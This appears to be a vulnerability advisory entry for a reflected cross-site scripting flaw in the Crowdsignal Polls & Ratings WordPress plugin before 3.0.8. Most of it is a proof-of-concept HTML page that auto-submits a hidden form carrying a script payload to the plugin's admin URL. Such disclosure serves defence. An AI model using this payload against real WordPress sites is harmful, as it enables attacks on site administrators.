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ZhongFu Su(JrXnm) of WuHan UniversityWPEX-ID:47855D4B-9F6A-4FC7-B231-4337F51C8886

HistoryJul 18, 2022 - 12:00 a.m.

Crowdsignal Polls & Ratings < 3.0.8 - Reflected Cross-Site Scripting

2022-07-1800:00:00

ZhongFu Su(JrXnm) of WuHan University

106

crowdsignal

polls

ratings

cross-site scripting

reflected

security issue

html form

script injection

vulnerability

web application.

EPSS

0.001

Percentile

40.2%

JSON

The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting

<html>
  <body>
    <form action="https://example.com/wp-admin/edit.php?post_type=feedback&page=polls&action=edit" id="hack" method="POST">
      <input type="hidden" name="mediaType&#91;999999999&#93;" value="&quot;&gt;&lt;script&gt;alert&#40;/XSS/&#41;&lt;&#47;script&gt;" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
  <script>
    var form1 = document.getElementById('hack');
    form1.submit();
</script>
</html>

EPSS

0.001

Percentile

40.2%

JSON

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